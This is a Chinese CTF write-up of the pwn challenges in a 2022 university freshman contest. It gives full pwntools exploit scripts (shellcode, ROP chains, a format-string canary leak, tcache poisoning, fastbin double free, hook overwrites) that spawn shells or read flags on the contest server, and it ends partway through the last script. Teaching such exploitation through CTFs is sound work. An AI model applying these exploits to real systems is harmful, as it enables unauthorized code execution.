暨南大学2022新生赛初赛 非官方WriteUp

Thursday, December 29, 2022
本文共7410字
15分钟阅读时长
pwn

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E6%9A%A8%E5%8D%97%E5%A4%A7%E5%AD%A62022%E6%96%B0%E7%94%9F%E8%B5%9B%E5%88%9D%E8%B5%9B-%E9%9D%9E%E5%AE%98%E6%96%B9writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!

It is not so much our friends’ help that helps us, as the confidence of their help. — Epicurus

原题链接

EasyEasyEasy

20221026011527-2022-10-26-01-15-28

因为读入的是一个有符号数,所以当输入-1 的时候也是合法的

20221026012048-2022-10-26-01-20-49

20221026012132-2022-10-26-01-21-33

而我们知道,-1%256 也是-1,而v5[-1]意为*(v5-1),指向 v5 前面一个数,而该程序只将 v5 后面的 0x100 个数置零,所以前一个数仍可能为非零。

事实证明确实如此,直接 nc 进去输入-1 即可

简单的栈溢出

检查程序架构

20221026000424-2022-10-26-00-04-25

查看 ida 反编译代码

20221026000443-2022-10-26-00-04-44

20221026000456-2022-10-26-00-04-57

限制一次输入得到 shell 权限

思路一:爆破栈地址后四位

先写入 shellcode,然后要把 ret 值覆盖为 shellcode 地址即栈地址,但是限制一次输入,而且没有输出函数,无法泄露栈地址。 这时候在 ret 值的下面四项的位置保存了一个栈地址:

20221026000523-2022-10-26-00-05-23

但是这个值的倒数第三位和 shellocde 地址一定是不同的 所以我们尝试爆破栈地址末四位

因为栈地址的最后一位是不变的,所以准确来说只用爆破三位 gets 会将输入的\n 改为\x00,所以 payload 只能覆盖到末二位,倒数三四位只能覆盖为\x00

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./chall"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "10072"
if_32: bool = False
if_debug:bool = True
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")

while True:
    if pss:
        p = remote("43.248.98.206", port)
    else:
        if if_debug:
            p = gdb.debug(fn, """
                        b* 0x40054F
                        c
                        """)
        else:
            p = process(fn)

    # 两个elf,注意libc的版本
    m_elf = ELF(fn)
    # libc = ELF(libc_name)
    pop_rdi_ret = 0x00000000004005e3
    ret = 0x000000000040028d
    shellcode = asm(shellcraft.sh())
    print(hex(len(shellcode)))
    payload = shellcode + b"\x00"*(0x8) + pg(ret)*4 + p8(0x00)
    p.clean()
    p.sendline(payload)
    p.clean()
    p.sendline()
    try:
        p.recv(timeout=0.25)
        p.interactive()
    except:
        p.close()

思路二:利用jmp raxcall rax

我们把断点设在leave;ret上,gdb 过去会发现 rax 的值刚好是我们输入的字符串的地址

20221026005847-2022-10-26-00-58-48

那么我们就可以利用jmp raxcall rax跳转到 shellcode

值得注意的是,这里如果使用 pwntools 生成的 shellcode,因为有七个 push,所以 rsp 会上移,而 shellcode 也是存在栈上的,这时就会覆盖一部分 shellcode

解决办法有两个:

  1. 使用更短的 shellcode
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
  1. 在跳转到 shellcode 前使 rsp 下移
payload = shellcode.ljust(0x38, b"a") + pg(ret)*0x5 + pg(call_rax)

完整 exp:


from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = False
fn: str = "./chall"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "10072"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")

# while True:

if pss:
    p = remote("43.248.98.206", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                    b* 0x40054F
                    c
                    """)
    else:
        p = process(fn)

# 两个elf,注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)
ret = 0x000000000040028d
jmp_rax = 0x0000000000400485
call_rax = 0x000000000040051e

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
shellcode = asm(shellcraft.amd64.linux.sh())
print(disasm(shellcode))
print(hex(len(shellcode)))
payload = shellcode.ljust(0x38, b"a") + pg(ret)*0x5 + pg(call_rax)
p.clean()
p.sendline(payload)
p.clean()
p.interactive()

babyrop

此题需要的 libc 版本只能用 ubuntu22 查看程序架构:

20221026121306-2022-10-26-12-13-07

查看 ida 反编译代码:

20221026121338-2022-10-26-12-13-39

有沙箱把 execve 的系统调用给禁了(:谢谢你

基本思路就是在栈上保存"./flag\x00\x00"字符串,然后通过 open、read、write 的系统调用读到 flag

主要难点是获得./flag 字符串的栈地址(本题 bss 段长度不够,存不了 flag 字符串)

要点是用mov rdi, rsp; add rdi, 0x40指向 payload 末尾,在末尾保存 flag 字符串

然后调用依次调用 0x2、0x0、0x1 号系统调用(open、read、write)

所有的系统调用编号在此

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./baby_rop"
libc_name:str = "/lib/x86_64-linux-gnu/libseccomp.so.2"
port: str = "10076"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")

# while True:
if pss:
    p = remote("43.248.98.206", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                    b* 0x40131C
                    c
                    """)
    else:
        p = process(fn)

# 两个elf,注意libc的版本
m_elf = ELF(fn)

pop_rdi_ret = 0x0000000000401207
pop_rdx_ret = 0x000000000040120d
mov_rsi_rdi_ret = 0x000000000040120f
pop_rax_syscall_ret = 0x0000000000401213
ret = 0x000000000040101a
read_addr = 0x4012CF
gift = 0x00000000004011fb
leave_ret = 0x000000000040131c
add_rdi_40_ret = 0x00000000004011fe
mov_rdi_rsp_ret = 0x0000000000401203

p.clean()
payload = \
    b"./flag\x00\x00"*0x7 + \
    pg(pop_rdi_ret) + pg(0) + pg(mov_rsi_rdi_ret) +\
    pg(mov_rdi_rsp_ret) + pg(add_rdi_40_ret)*2 +\
    pg(pop_rax_syscall_ret) + pg(0x2) +\
    pg(mov_rsi_rdi_ret) +\
    pg(pop_rdi_ret) + pg(3) +\
    pg(pop_rdx_ret) + pg(0xff)+\
    pg(pop_rax_syscall_ret) + pg(0x0) +\
    pg(pop_rdi_ret) + pg(1) +\
    pg(pop_rax_syscall_ret) + pg(0x1) + pg(0) + b"./flag\x00\x00"
p.sendline(payload)
try:
    p.interactive()
except:
    p.close()

FLAG:flag{6fU9jIyTmarX2EMwJHvQY7SpLuqVbzAN}

CTF

查看架构:

20221026121747-2022-10-26-12-17-48

有 canary 查看 ida 反编译代码:

这题有点寄的是没有 main 函数,只有一个 label1 作为程序入口,所以只能看汇编代码,好在不是很复杂:

20221026121803-2022-10-26-12-18-04

大致的逻辑是要经过两个挑战:

20221026121859-2022-10-26-12-19-00

第一个挑战是经典的速算挑战,用 python 的 eval 函数解析读入的计算式就可以了

20221026121917-2022-10-26-12-19-18

第二个挑战是要利用符号位漏洞,我们输入 0x800000000000000c 即可

这里要注意的是,我们不能直接用 python 输出这个数,因为 python 会自动解析为很大的无符号数。比较简单的方法是使用 Windows 自带的计算器:

20221026121941-2022-10-26-12-19-42

还有另外一种方法是调用ctypes库,创建long long int类型的变量:

overflow = ctypes.c_longlong(0x800000000000000c)
# p.sendline("-9223372036854775796")
p.sendline(str(overflow.value))

通过第二个挑战后我们就可以开始第三个挑战。第三个挑战是格式化字符串漏洞用于泄露 canary,然后就是一个栈溢出。

需要注意的是,64 位系统中的格式化字符串的前五个参数分别存在寄存器 RSI/RDX/RCX/R8/R9 中

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher
from ctypes import c_longlong as longlong

pss: bool = True
fn: str = "./CTF"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "10074"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("43.248.98.206", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                      b* $rebase(0x173B)
                      c
                      """)
    else:
        p = process(fn)

# 两个elf,注意libc的版本
m_elf = ELF(fn)
# libc = ELF(libc_name)

p.recvuntil(b"and tell you a secret ")
getshell = int(p.recvuntil(b"\n")[:-1], 16)
codebase = getshell - m_elf.sym['getshell']

for i in range(50):
    p.recvuntil(b"num1:")
    num1 = p.recvuntil(b",num2:")[:-6]
    num2 = p.recvuntil(b"\n")[:-1]

    p.recvuntil(b"operator:")
    oper = p.recvuntil(b"\n")[:-1]
    if b"/" in oper: oper = b"//"

    answer = eval(num1 + oper + num2)
    p.clean()
    p.sendline(str(answer))

p.recvuntil(b"Great Job!\n")

p.recvuntil(b"Your answer: \n")
overflow = ctypes.c_longlong(0x800000000000000c)
# p.sendline("-9223372036854775796")
p.sendline(str(overflow.value))
p.recvuntil(b"Your answer: \n")
p.sendline(str(1))
p.recvuntil(b"Your answer: \n")
p.sendline(b"%25$p.")
p.recvuntil(b"0x")
canary = int(p.recvuntil(b".")[:-1], 16)

for i in range(2):
    p.recvuntil(b"...")

p.recvuntil(b"Your answer: \n")
payload = b"a"*0x88 + pg(canary) + pg(0) + pg(getshell)
p.sendline(payload)

p.recvuntil("Quickly, you are surrounded.\n\n")

p.clean()
p.interactive()

FLAG:flag{114514_V_me_F1fty}

signin

法一:free 大 chunk 绕过 tcache bin,然后 tcache poison

检查架构:

20221026123126-2022-10-26-12-31-27

查看 ida 伪代码:

20221026123140-2022-10-26-12-31-41

20221026123152-2022-10-26-12-31-53

20221026123206-2022-10-26-12-32-07

认真分析一下就会发现还是经典的堆菜单题

先 free 掉一个很大的 chunk,这样这个 chunk 就会直接进入 unsorted bin(这个临界值我在自己的 64 位机器上测试,大概是 0x409),然后减去 main_arena+96,就可以得到 libc 的基址

关于这个 main_arena+96 哪里来的,首先将 libc 拖入 ida,搜索 malloc_trim:

20221026123334-2022-10-26-12-33-35

main_arena 的偏移就是 0x3ebc40

然后我们使用 gdb 手动 free 一个大 chunk,查看内存

这里 pwndbg 可以用 bins 命令,但我的 bins 和 heap 出现问题寄了,这里演示一下手动计算 unsorted bin 中只有一个 chunk 时存储的值和 main_arena 的偏移为何为 96

20221026123406-2022-10-26-12-34-07

20221026123429-2022-10-26-12-34-30

0x00007ffff7dcdca0-0x7ffff79e2000-0x3ebc40=96

使用计算器会快很多

然后我们 free 掉一个小 chunk,让他进入 tcache bin,我们就能更改它的 next 位,从而可以实现任意地址写

20221026130359-2022-10-26-13-03-59

这样我们就可以更改__malloc_hook 的值为 one_gadget 了

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = True
fn: str = "./signin"
libc_name:str = "./libc-2.27.so"
port: str = "10071"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ENV = {"LD_PRELOAD":libc_name}
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("43.248.98.206", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                      b* 0x400904
                      """, env=ENV)
    else:
        p = process(fn, env=ENV)

# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
main_arena = 0x3EBC40
main_off = 96
chunks = 0x6020f0

# malloc的index不能直接控制
def allocate(size: int):
    p.clean()
    p.sendline(b"1")
    p.clean()
    p.sendline(str(size))

# free的标签小于七
# 一共只能free两次
def free(index: int):
    p.clean()
    p.sendline(b"2")
    p.clean()
    p.sendline(str(index))

def change(index: int, data: str):
    p.clean()
    p.sendline(b"3")
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(data)

def show(index: int):
    p.clean()
    p.sendline(b"4")
    p.clean()
    p.sendline(str(index))
    p.recvuntil(b"content: ")
    return p.recvuntil(b"\n")[:-1]

allocate(0x1000) # 1
allocate(0x80)
allocate(0x80)
free(0)
libcbase = u64(show(0)[:9].ljust(0x8, b"\x00")) - (main_arena + main_off)
success(f"libcbase => {hex(libcbase)}")
system_addr = libcbase + libc.sym['system']
malloc_hook_addr = libcbase + libc.sym['__malloc_hook']
one_gadget = libcbase + 0x10a2fc

next_chunk = 0x23

free(1)
payload = pg(malloc_hook_addr - next_chunk)
change(1, payload)

allocate(0x80)
allocate(0x7f)

# gdb.attach(p)

payload = b"0"*0x23 + pg(one_gadget)
change(4, payload)

allocate(0x10)
p.clean()
p.interactive()

FLAG:flag{cd02sdyy9hfggsyo1wecd8ad2elttilnaj22}

法二:通过stderr泄露libc,然后更改chunks指针

这个方法的要点在于,因为使用了setbuf函数,所以stdin、stdout、stderr会以全局变量的形式存在程序中。 文内图片 我们可以通过tcache poisoning来将这个chunk分配到这个地方,然后因为程序中保存所有分配空间的指针chunks也是全局变量,所以这个chunk也可以更改chunks的值,这样子就可以将其指向__malloc_hook,这样子就能够将它的值改为one_gadget

这个方法有一个问题,就是分配在stderr处的chunk会将count置零,这是因为分配的位置刚好让count在它的bk位,而malloc会将bk置零: ^962996

文内图片

且看下面这个程序:

#include<stdio.h>
#include<stdlib.h>

int main(void){
    int *a = (int *)malloc(0x80);
    int *b = (int *)malloc(0x80);
    free(a);
    a[2] = 1;
    a = (int *)malloc(0x80);
    printf("%d\n", a[2]);

}

结果是0:

文内图片

若将a[2]改为a[1],则结果为1:

文内图片

说明至少对tcache bin中的chunk来说,bk会被置零而fd不会

虽然这可能会随着libc版本的改变而改变,但是如果我们做题的时候发现bk被置零了,至少我们多了一种可考虑的可能

from pwn import *

path = "/home/linux/0/pwn/signin"
stderr = 0x6020A0

context(log_level = "debug", arch = "amd64", os = "linux")

#p = process(path)
#p = gdb.debug(path, "b *(main+0xC1)")

p = remote("43.248.98.206", "10071")

def add(size):
	p.sendlineafter("choice: ", "1")	
	p.sendlineafter("size: ", str(size))  

def edit(index, content):
	p.sendlineafter("choice: ", "3")
	p.sendlineafter("idx: ", str(index))
	p.sendlineafter("data: ", content)

def display(index):
	p.sendlineafter("choice: ", "4")
	p.sendlineafter("idx: ", str(index)) 

def free(index):
	p.sendlineafter("choice: ", "2")
	p.sendlineafter("idx: ", str(index))

add(0x80) #0
add(0x80) #1
free(0)
free(1)

edit(1, p64(stderr)) #tcache poisoning
add(0x80) #2

add(0x80) #0 0x6020A0 When mallocing chunk on 0x6020A0, the "idx" on .bss will change into 0. Actually I don't know why. But the index of this chunk is 0.
display(0) #leak libc

p.recvuntil("content: ")
libc = int.from_bytes(p.recv(6), "little") - 0x3EC680
print("libc =", hex(libc))

malloc_hook = libc + 0x3EBC30
print("malloc_hook =", hex(malloc_hook))  

one_gadget = [libc + 0x4f302, libc + 0x10a2fc]
edit(0, flat(0, 0, 0, 0, malloc_hook, 0x80)) #change the pointer save in chunks[0] into malloc_hook

edit(0, flat(one_gadget[1])) #write one gadget
add(0xA0) #trigger malloc_hook

p.interactive()

法三:更改chance后将__free_hook改为system地址,在chunk内填入/bin/sh后free掉

libc-2.27.so释放符合大小的堆块会进入tcachebin中

但是因为chance的限制,程序规定只能释放两次堆块,但利用tcachebin的特性可以改变释放次数

文内图片

改变后可以通过先释放大堆块进入unsortedbin,利用它的特性和UAF带出main_arena,然后通过固定偏移可以算出libc基地址

再释放两次堆块进入tcache bin,改变链首部的堆块的fd指向__free_hook,再申请两个同样大小的堆块,再将__free_hook里的值改为system的,最后通过释放"/bin/sh"的堆块即可实现system('/bin/sh'),还有个地方得注意,只能打印8个堆块的内容,所以申请堆块的数量要把控好

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process('signin')
libc=ELF('libc-2.27.so')
p=remote('43.248.98.206',10071)
elf=ELF('signin')

def add(size):
    p.sendlineafter('choice: ',b'1')
    p.sendlineafter('size: ',str(size))

def free(index):
    p.sendlineafter('choice: ',b'2')
    p.sendlineafter('idx: ',str(index))

def xiugai(index,data):
    p.sendlineafter('choice: ',b'3')
    p.sendlineafter('idx: ',str(index))
    p.sendafter('data: ',data)

def pri(index):
    p.sendlineafter('choice: ',b'4')
    p.sendlineafter('idx: ',str(index))

add(16)
add(16)
free(0)
free(1)
payload=p64(0x602070)  
xiugai(1,payload)
add(16)
add(16)
xiugai(3,b'100')  # 增加chance次数
add(0x500)  # 进入unsortedbin
add(16)  # 防止与top_chunk相连
free(4)
pri(4)  # 带出main_arena地址
p.recvuntil('content: ')
libc_addr=u64(p.recv(6).ljust(8, b'\x00'))-0x3ebca0
success('libc:'+hex(libc_addr))
#gdb.attach(p)
free(0)
free(2)
xiugai(2,p64(libc.symbols['__free_hook']+libc_addr))
add(16)
add(16)
xiugai(7,p64(libc.symbols['system']+libc_addr))
xiugai(6,b'/bin/sh\x00')
free(6)
#gdb.attach(p)

p.interactive()

LearnHeap

查看程序架构

文内图片

查看ida反编译代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int ch_0; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  char *p; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  p = (char *)malloc(0x20uLL);
  puts("Welcome to LearnHeap!");
  puts("This is a guided learning test.");
  puts("In this test, gdb and pwndbg may help you.");
  puts(byte_176B);
  puts("Now you will see a very regular heap question. add() show() delete()");
  puts("Step 1. Leak Libc address.\nStep 2. double free.\nStep 3. hijacking __free_hook\nStep 4. get shell!");
  puts("Now, let's start!");
  Step1();
  Step2();
  Step3();
  Step4();
  *free_hook = 0LL;
  memset(p - 592, 0, 0x240uLL);
  for ( i = 67; i; --i )
    malloc(0x10uLL);
  memset(book, 0, sizeof(book));
  puts("Now Let's attack.");
  while ( 1 )
  {
    puts("Welcome~!\n1.add\n2.show\n3.delete");
    printf("> ");
    __isoc99_scanf("%d", &ch_0);
    switch ( ch_0 )
    {
      case 2:
        show();
        break;
      case 3:
        delete();
        break;
      case 1:
        add();
        break;
      default:
        puts("error.");
        break;
    }
  }
}

step1 泄露libc基址

文内图片 这里调用了adddelete函数: 文内图片 文内图片

因此我们编写的adddelete函数:

def add(index: int, size: int, content, flag: bool = False):
    if flag:
        p.clean()
        p.sendline(b"1")
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(str(size))
    p.clean()
    p.sendline(content)
    
def delete(index: int, flag: bool = False):
    if flag:
        p.clean()
        p.sendline(b"3")
    p.clean()
    p.sendline(str(index))

然后我们分配一个大chunk进入unsorted bin,这样它的fd指针会被设为main_arena+96,从而我们可以获得libc基址

需要注意的是,虽然没有show函数,但是在add函数的最后会将输入的内容puts出来

又因为malloc会首先从各个bin中寻找合适的chunk,所以我们第三次add的时候会分配到进入unsorted bin中的那个大chunk(或它的一部分),而malloc不会将内容清零(至少fd指针不清零,详情见此

所以,最后我们puts出来的,就是main_arena+96的指针

注意,libc2.26没有tcache bin,所以注意想要进入fastbin的chunk大小(默认最大大小为(64 * SIZE_SZ / 4),32 位为 64=0x40 字节,64 位为 128=0x80 字节)

add(0, 1071, b"") # 大于1072会退出,但是1033就可以进入unsorted bin
add(1, 0x10, b"")
delete(0)
add(2, 0x10, b"")

p.recvuntil(b"Your book: \n")
main_arena = 0x3dac20
main_off = 1002
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - (main_arena + 1002)
system_addr = libc_base + libc.sym['system']
p.sendlineafter("Let's make a test.\n", hex(system_addr))

step2 double free 构建循环malloc链

文内图片

因为fastbin在libc2.26中对double free的检查只是单纯地检查表头的chunk是否和正在free的chunk一样,所以只要我们在double free中间随便free一个别的chunk,它就检查不到了(新版本不行)

如果是2.27~2.28中的tcache bin就更好办了,因为其根本没有任何检查,直接free两次即可 而如果是2.29~2.31,tcache_entry增加了一个attribute,key字段,要么更改key字段然后double free,要么使用fastbin double free,详情见此文章

文内图片

大多数程序经常会申请以及释放一些比较小的内存块。如果将一些较小的 chunk 释放之后发现存在与之相邻的空闲的 chunk 并将它们进行合并,那么当下一次再次申请相应大小的 chunk 时,就需要对 chunk 进行分割,这样就大大降低了堆的利用效率。因为我们把大部分时间花在了合并、分割以及中间检查的过程中。 因此,ptmalloc 中专门设计了 fast bin,对应的变量就是 malloc state 中的 fastbinsY

需要注意的是,能进入fastbin中的chunk会直接进入fastbin,尽管它和top chunk相邻也不会合并,见ctfwiki

delete(1)
delete(2)
delete(1)
p.sendlineafter("what sizes you make?\n", str(0x10))

step3 更改fd指针指向free_hook,填入危险函数地址

文内图片

这时我们因为获得了一个循环的malloc链,可以无限地malloc,所以我们可以在第一次add时更改fd指针,指向free_hook,然后将其改为system的地址

我们将"/bin/sh"存在一个chunk中,若__free_hook的值改为了system,则原本的free("/bin/sh")就会产生system("/bin/sh")的效果

文内图片

add(3, 0x10, p64(m_elf.sym['free_hook']))
add(4, 0x10, b"/bin/sh\x00")
add(5, 0x10, b"a")
add(6, 0x10, p64(system_addr))

step4 getshell (fake)

文内图片 文内图片

这时候我们delete(4)就可以了

delete(4)

真实场景getshell!

就是把上面的思路复现一遍

不过不同的是我们不用leak libc了,因为上面我们已经获得了libc基址

直接构建malloc链然后fastbin attack即可

# flag设为True
add(7, 0x10, b"", True)
add(8, 0x10, b"", True)
delete(7, True)
delete(8, True)
delete(7, True)

add(9, 0x10, p64(libc.sym['__free_hook']+libc_base), True)
add(10, 0x10, b"/bin/sh\x00", True)
add(11, 0x10, b"a", True)
add(12, 0x10, p64(system_addr), True)

delete(10, True)

p.interactive()

完整exp

from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = False
fn: str = "./learnheap"
libc_name:str = "./libc-2.26.so"
port: str = "10072"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")

if pss:
    p = remote("43.248.98.206", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                    break main
                    c
                    """)
    else:
        p = process(fn)

m_elf = ELF(fn)
libc = ELF(libc_name)

def add(index: int, size: int, content, flag: bool = False):
    if flag:
        p.clean()
        p.sendline(b"1")
    p.clean()
    p.sendline(str(index))
    p.clean()
    p.sendline(str(size))
    p.clean()
    p.sendline(content)
    
def delete(index: int, flag: bool = False):
    if flag:
        p.clean()
        p.sendline(b"3")
    p.clean()
    p.sendline(str(index))
    
    
add(0, 1071, b"") # 大于1072会退出,但是1033就可以进入unsorted bin
add(1, 0x10, b"")
delete(0)
add(2, 0x10, b"")

p.recvuntil(b"Your book: \n")
main_arena = 0x3dac20
main_off = 1002
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - (main_arena + 1002)
system_addr = libc_base + libc.sym['system']
p.sendlineafter("Let's make a test.\n", hex(system_addr))

delete(1)
delete(2)
delete(1)
p.sendlineafter("what sizes you make?\n", str(0x10))

add(3, 0x10, p64(system_addr + 0x394AE8))
add(4, 0x10, b"/bin/sh\x00")
add(5, 0x10, b"a")
add(6, 0x10, p64(system_addr))

delete(4)

add(7, 0x10, b"", True)
add(8, 0x10, b"", True)
delete(7, True)
delete(8, True)
delete(7, True)

add(9, 0x10, p64(libc.sym['__free_hook']+libc_base), True)
add(10, 0x10, b"/bin/sh\x00", True)
add(11, 0x10, b"a", True)
add(12, 0x10, p64(system_addr), True)

delete(10, True)

p.interactive()

XS Club

检查程序架构

文内图片

查看ida反编译代码

主要函数: 文内图片 读取字符串并在末尾置零 文内图片 一个加密函数,从最后的结果("ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ==")来看像是base64编码 文内图片 文内图片

base64解码

key = base64.b64decode("ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ==")

大致思路

程序用沙箱屏蔽了execvesyscall,那么大致思路就是利用open、readsyscall读入flag

而程序又把标准输入流和标准输出流关闭了,说明一次运行只能输入一次,而且不会有回显

但是程序又有一个strcmp,这说明我们可以利用测信道的思路来解题

文内图片

在我们调用完strcmp后跳转到这里,如果和flag相符就ret到pause,否则就会jmp rax从而报错退出

构建ROP chain

我们先用ropper看一下程序的gadget:

文内图片 文内图片

发现并没有我们想要的可以改变raxrdx的gadget

如果想要改变rax,我们可以利用函数的返回值保存在rax这个特性:

set_rax_2 = flat([  # open
        pop_rdi,
        pie_base + 0x00000000000011E7,
        pop_rsi_r15,
        pie_base + 0x00000000000015A0,
        0,
        strcmp_plt
    ])
    set_rax_0x22 = flat([  # pause
        pop_rdi,
        pie_base + 0x00000000000011EF,
        pop_rsi_r15,
        pie_base + 0x00000000000015A0,
        0,
        strcmp_plt
    ])

但是像read这样的函数,往往是必须设置rdx的,所以我们还需要一个改变rdx的gadget

经过观察,我们可以利用csu中的gadget:

文内图片

我们可以先用csu1中的gadget设置寄存器,然后再跳到csu2设置rdx,然后因为csu2中有一个call qword ptr [r12+rbx*8],我们可以将r12的值设为read的got值,rbx为0,这样就能执行read函数

当我们执行完read函数时,因为物理相邻的缘故,我们会比较rbp和rbx的值,

文内图片 文内图片

所以我们要设置rbp不等于rbx

然后我们就进入了csu1,这里有一串的pop,加上头部的add,一共我们要设置56个字节来跳过这些指令到ret

然后我们设置一下rdi和rsi就转到call strcmp

文内图片

最后我们再填入一个pause的syscall就可以了,如果程序没有退出就会调用pause而停掉

但问题来了,我们要怎么将我们想要与flag比较的字符输入进来呢?

我们可以在读入invitation code的时候将需要比较的字符输入进来:

文内图片

所以rop chain为:

# 计算代码基址
pie_base = u64(io.recv(6).ljust(8, b'\x00')) - (0x561d75601161 - 0x561d75600000)
# strcmp、read
strcmp_plt = pie_base + elf.plt['strcmp']
read_plt = pie_base + elf.plt['read']
read_got = pie_base + elf.got['read']
# 设置rdi、rsi
pop_rdi = pie_base + 0x00000000000011a3
pop_rsi_r15 = pie_base + 0x00000000000011a1
# syscall;ret
syscall = pie_base + 0x00000000000009f5
# 有一个gadget可以设置rdx为0xa
# set_rdx_10 = pie_base + 0x00000000000009f7
# 一大堆pop,设置寄存器
csu1 = pie_base + 0x000000000000119A
# 将csu中设置的寄存器的值转移到其他寄存器
csu2 = pie_base + 0x0000000000001180
# bss节开始位置
bss_start = pie_base + 0x0000000000202020
# "./flag\x00"字符串保存的位置
flag_str_addr = pie_base + 0x000000000020207a
# 尝试的字符保存的位置
try_chr_addr = pie_base + 0x000000000020207f
# 读入的flag文件内容保存的位置
target_chr_addr = bss_start + 0x300
# 测试strcmp成不成功的gadget
test_gadget = pie_base + 0x00000000000099b
# 设置rax为2
set_rax_2 = flat([  # open
	pop_rdi,
	pie_base + 0x00000000000011E7,
	pop_rsi_r15,
	pie_base + 0x00000000000015A0,
	0,
	strcmp_plt
])
# 设置rax为0x22
set_rax_0x22 = flat([  # pause
	pop_rdi,
	pie_base + 0x00000000000011EF,
	pop_rsi_r15,
	pie_base + 0x00000000000015A0,
	0,
	strcmp_plt
])

# 读入解码内容、"./flag\x00"字符串、当前尝试的字符
io.sendafter(' code\n', flat([base64.b64decode(
	'ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ=='), '\x00flag\x00', try_c]))
rop_chain = flat([
	# 2号syscall,打开文件
	set_rax_2,
	pop_rdi,
	flag_str_addr,
	pop_rsi_r15,
	0,
	0,
	syscall,
	# 读取文件内容
	csu1,
	0,
	1,
	read_got,
	0,  # edi
	target_chr_addr,  # rsi
	flag_len + 1,  # rdx
	csu2,
	'a' * 56,
	# 比对字符
	pop_rdi,
	try_chr_addr,
	pop_rsi_r15,
	target_chr_addr + flag_len, # 第flag_len个字符
	0,
	strcmp_plt,
	test_gadget,
	# pause系统调用
	set_rax_0x22,
	syscall
])

设置延时器,保证程序正常执行

可以使用sleep函数、recv(0.5)还有signal模块来拖时间,等待程序进一步执行

signal模块

def handler(signum, frame):
    raise TimeoutError()
signal.signal(signal.SIGALRM, handler)
signal.alarm(1)
try:
	io.recvuntil('Okay, ')
	signal.alarm(0)
	signal.signal(signal.SIGALRM, signal.SIG_DFL)
except:
	signal.alarm(0)
	signal.signal(signal.SIGALRM, signal.SIG_DFL)
	io.close()
	return False

这个模块设置在一秒之后发送TimeoutError异常,但如果在这一秒内recv到了'Okay,',那就取消发送,否则关闭远程/停止进程

这段代码保证了程序在一秒内正确执行(不正确执行的都死了)

recv(0.5)

try:
	io.recv(timeout=0.5)
	io.close()
	return True
except:
	io.close()
	return False

如果在0x5秒内程序退出了,就说明没有执行pause系统调用,所以就关闭远程/停止进程

为第9个字符单独写rop chain

因为我们的rop chain中有一条flag_len+1,而当我们爆破第九个字符时这个值为0xa,刚好和\n的ASCII码一样,所以会发生截断,因此0xa不能出现在rop chain中

而我们注意到syscall的gadget后面会自动将rdx设置为0xa: 文内图片

那么我们直接常规思路调用read即可,不需要用到csu:

if flag_len == 9:
	rop_chain = flat([
		set_rax_2,
		pop_rdi,
		flag_str_addr,
		pop_rsi_r15,
		0,
		0,
		syscall,
		pop_rdi,
		0,
		pop_rsi_r15,
		target_chr_addr,
		0,
		read_plt,
		pop_rdi,
		try_chr_addr,
		pop_rsi_r15,
		target_chr_addr + flag_len,
		0,
		strcmp_plt,
		test_gadget,
		set_rax_0x22,
		syscall
	])

完整exp

from pwn import *
import base64
import signal

context.arch = 'amd64'
elf = ELF('club')

def handler(signum, frame):
    raise TimeoutError()


def pwn(try_c, flag_len):
    # io = process('./club')
    # io = remote('127.0.0.1', 9999)
    io = remote('43.248.98.206', 10075)
    io.sendafter(' is XS-Club, your name?\n', 'a')
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(1)
    try:
        io.recvuntil('Okay, ')
        signal.alarm(0)
        signal.signal(signal.SIGALRM, signal.SIG_DFL)
    except:
        signal.alarm(0)
